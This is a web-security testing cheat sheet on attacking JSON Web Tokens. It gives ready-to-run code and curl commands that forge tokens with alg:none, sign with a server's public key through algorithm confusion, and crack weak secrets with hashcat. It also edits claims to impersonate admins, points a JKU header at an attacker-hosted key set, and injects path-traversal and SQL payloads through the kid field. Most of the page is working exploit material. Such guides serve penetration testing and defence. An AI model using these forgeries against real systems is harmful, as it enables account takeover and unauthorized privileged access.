Skip to main content

JWT Attacks

CWECWE-287, CWE-347
Toolsburp, jwt_tool
Difficulty🔴 advanced

Exploit JWT Weaknesses​

JWT structure: header.payload.signature (base64url encoded). Tokens starting with eyJ are almost certainly JWTs.

Detection and Analysis​

# Decode JWT header and payload
jwt_token="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIn0.signature" # gitleaks:allow
echo $jwt_token | cut -d. -f1 | base64 -d 2>/dev/null # Header
echo $jwt_token | cut -d. -f2 | base64 -d 2>/dev/null # Payload

# Use jwt_tool for comprehensive analysis
python3 jwt_tool.py "$jwt_token"

# Fetch public keys
curl -s "https://TARGET/.well-known/jwks.json" | jq

Check for sensitive data in claims. JWTs are not encrypted by default -- any data in the payload is readable. Look for PII, internal IDs, roles, or secrets exposed in claims.

Algorithm None Attack​

Some libraries accept alg: none, requiring no signature at all.

import base64
import json

payload = {"sub": "1234567890", "admin": True, "exp": 9999999999}
header = {"alg": "none", "typ": "JWT"}

header_b64 = base64.urlsafe_b64encode(json.dumps(header).encode()).rstrip(b'=').decode()
payload_b64 = base64.urlsafe_b64encode(json.dumps(payload).encode()).rstrip(b'=').decode()

# Try both with and without trailing dot
forged_token = f"{header_b64}.{payload_b64}."
forged_token_no_dot = f"{header_b64}.{payload_b64}"

Test case variations -- servers may accept different capitalizations:

# none, None, NONE, nOnE
curl -H "Authorization: Bearer eyJhbGciOiJub25lIn0.eyJhZG1pbiI6dHJ1ZX0." URL # gitleaks:allow
curl -H "Authorization: Bearer eyJhbGciOiJOb25lIn0.eyJhZG1pbiI6dHJ1ZX0." URL # gitleaks:allow
curl -H "Authorization: Bearer eyJhbGciOiJOT05FIn0.eyJhZG1pbiI6dHJ1ZX0." URL # gitleaks:allow
curl -H "Authorization: Bearer eyJhbGciOiJuT25lIn0.eyJhZG1pbiI6dHJ1ZX0." URL # gitleaks:allow

Algorithm Confusion (Key Confusion)​

When the server uses asymmetric signing (RS256) but also accepts symmetric (HS256), you can sign tokens using the public key as the HMAC secret.

import jwt

# Get the public key (often at /.well-known/jwks.json)
public_key = '''-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA...
-----END PUBLIC KEY-----'''

# Decode the original payload without verification
original_token = "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9..." # gitleaks:allow
payload = jwt.decode(original_token, options={"verify_signature": False})

# Re-encode with HS256 using the public key as the HMAC secret
forged_token = jwt.encode(payload, public_key, algorithm="HS256")
curl -H "Authorization: Bearer ${forged_token}" "https://TARGET/api/admin"

Weak Secret Brute Force​

If the JWT uses HS256/HS384/HS512, the signing secret may be brute-forceable.

# Offline cracking with hashcat
hashcat -a 0 -m 16500 jwt.txt wordlist.txt

# Using jwt_tool with common secrets
python3 jwt_tool.py "$token" -C -d common_secrets.txt

Common weak secrets to test: secret, password, 123456, the application name, the company name, jwt_secret, empty string, changeme, test.

Claim Manipulation​

Once you know or have cracked the signing secret, modify claims to escalate privileges.

import jwt

secret = "weak_secret" # gitleaks:allow
payload = {
"sub": "admin@target.com", # Impersonate user
"role": "admin", # Elevate role
"admin": True, # Add admin flag
"exp": 9999999999, # Extend expiration
"iat": 1609459200, # Backdate if needed
}
forged_token = jwt.encode(payload, secret, algorithm="HS256")

Claims to target:

Claim PatternAttack Goal
sub, user_id, uid, userUser impersonation
role, roles, groupsPrivilege escalation
admin, is_admin, isAdminAdmin access
permissions, scopePermission escalation
exp, iat, nbfToken validity manipulation
aud, issAudience/issuer bypass

JWK/JKU Injection​

If the token header allows specifying where to fetch the signing key, inject your own key server.

from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.backends import default_backend
import jwt

# Generate your own RSA key pair
private_key = rsa.generate_private_key(
public_exponent=65537,
key_size=2048,
backend=default_backend()
)

# Host your JWK at an attacker-controlled URL
# Token header: {"alg": "RS256", "jku": "https://ATTACKER/.well-known/jwks.json"}

Kid (Key ID) Injection​

The kid header parameter can be exploited for path traversal or SQL injection.

# Path traversal -- /dev/null is empty, so HMAC secret is empty string
header = {"alg": "HS256", "typ": "JWT", "kid": "../../../dev/null"}

# SQL injection in kid
header = {"alg": "HS256", "typ": "JWT", "kid": "key1' UNION SELECT 'attackerSecret'--"}

Test Token Invalidation​

Verify that tokens are actually invalidated after logout. Many implementations only clear the token client-side without server-side revocation.

# Capture a valid token
TOKEN="..."

# Verify it works
curl -H "Authorization: Bearer $TOKEN" "https://TARGET/api/me"

# Trigger logout
curl -X POST "https://TARGET/logout" -H "Authorization: Bearer $TOKEN"

# Test if token still works (it should NOT)
curl -H "Authorization: Bearer $TOKEN" "https://TARGET/api/me"

If the token still works after logout, that is a confirmed vulnerability (CWE-613).